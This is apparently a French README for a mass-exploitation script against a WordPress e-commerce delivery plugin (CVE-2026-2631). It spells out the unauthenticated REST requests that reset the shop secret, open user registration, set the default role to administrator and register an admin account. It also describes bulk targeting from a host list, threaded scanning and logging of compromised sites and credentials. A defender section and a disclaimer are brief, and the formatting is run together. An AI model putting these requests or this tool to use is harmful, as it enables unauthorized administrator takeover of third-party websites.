
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalade de privilèges non authentifiée
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalade de privilèges non authentifiée
PoC / Script d'exploitation :
CVE-2026-2631.py
Auteur : Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Contact : Telegram :@Kxploit
< 2.6.60 (exclus)CVE-2026-26319.8 (Critique)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HLe plugin Datalogics Ecommerce Delivery – Datalogics expose un point de terminaison non authentifié :
/wp-json/gsf/v1/update-options
Ce script exploite ce point de terminaison pour :
shop_secret en utilisant l'action resetStoreConfigrations.users_can_register = 1.administrator : default_role = administrator.wp-login.php?action=registerEn cas de succès, tout nouvel utilisateur créé via le formulaire d'inscription sera un administrateur.
users_can_register = 1default_role = administratorrich (tableau coloré et mis à jour en direct).Login_admin.txt.Installer les paquets requis :
pip install -r requirements.txt
Exemple de requirements.txt :
requests
rich
urllib3
Ou installer manuellement :
pip install requests rich urllib3
Pour chaque cible :
Normaliser l'URL
http:// est ajouté si absent.Réinitialiser la clé shop_secret
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <new_secret>app secret key has been updated successfullyMettre à jour les options WordPress
action = createUpdateOptionoption_key = users_can_register, option_value = 1option_key = default_role, list.txt (ou un fichier personnalisé).N lots avec chunkify.N threads de travail, chacun traitant sa propre liste de cibles.Queue partagée pour les messages d'état vers le thread d'affichage.printer_loop) met à jour une table rich en direct :
python3 CVE-2026-2631.py
Vous serez invité interactivement à fournir :
Fichier de cibles
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blogThreads
Threads (1-50) [10]:1050Valeur de shop_secret
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations.Ces identifiants seront utilisés pour la tentative d'enregistrement sur chaque cible vulnérable.
Créez list.txt (ou tout fichier de votre choix) avec une cible par ligne :
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
Le script va :
http:// si manquant./ final.Toutes les opérations réussies (même si l'enregistrement échoue mais que les options sont définies) sont écrites dans :
Login_admin.txt
Une ligne typique :
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
Exemples de statuts dans le tableau en direct :
SUCCESS – options définies et/ou utilisateur enregistré.FAILED – réinitialisation/options échouées, vulnérabilité non exploitable.ERROR – Exception, erreurs réseau, timeouts, etc.POST /wp-json/gsf/v1/update-options
shop_secretaction=resetStoreConfigrations
shop_secret=<new_secret>
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
Le script :
_wpnonce s'il est présent.normalize_site(raw: str) -> str
Normalise les URLs des cibles.
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
Tente l'action resetStoreConfigrations.
send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
Définit les options WordPress via le point de terminaison vulnérable.
check_registration_open(site: str, timeout: int = 10) -> (bool, str)
Vérifie si l'inscription est ouverte et le formulaire accessible.
try_register_user(...) -> (bool, str)
Tente d'enregistrer l'utilisateur fourni.
write_success_line(site: str, secret: str, detail: str)
Enregistre les détails du succès dans Login_admin.txt.
worker(...)
Thread de travail qui :
$ python3 CVE-2026-2631.py
[Banniere / ASCII Art]
Targets file (one host/URL per line) [list.txt]:
> list.txt
Threads (1-50) [10]:
> 20
shop_secret [Nxploited_newSecret]:
> NxSecret2026!
Registration username [Nx_test1]:
> admin_nx
Registration email [[email protected]]:
> [email protected]
Registration password [Nx_adminSA]:
> SuperStrongP@ss!
[Tableau en direct montrant le statut de chaque cible]
Processed 5/20 targets · Output: Login_admin.txt
Done. Successful sites (if any) saved to Login_admin.txt.
Pour les défenseurs / propriétaires de sites :
wp_users./wp-json/gsf/v1/update-options/wp-login.php?action=registerCe script est fourni strictement à des fins éducatives et de tests de sécurité autorisés uniquement.
Si vous n'acceptez pas ces conditions, n'utilisez pas ce script.
CVE-2026-2631@Kxploit sur TelegramRestez en sécurité, piratez de manière responsable. 🕶️💻
option_value = administratorwordpress option has been created or updated successfullyVérifier si l'inscription est ouverte
/wp-login.php?action=registerUsers can register, Anyone can register, user_registration, registerformuser registration is currently not allowedTenter l'enregistrement d'utilisateur
_wpnonce du champ caché s'il est présent.user_login, user_emailuser_pass/user_pass2 si les champs de mot de passe existent_wpnonce, _wp_http_referer, redirect_to, wp-submit=Registerregistration complete, check your email, user registereduser_already_existsJournalisation
Login_admin.txt<site> | register_url: <url> | shop_secret: <secret> | <details>
Identifiants d'enregistrement
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:shop_secretprinter_loop(queue: Queue, total: int)
Lit les messages de la queue et met à jour une interface utilisateur rich en direct.
main()
Orchestre :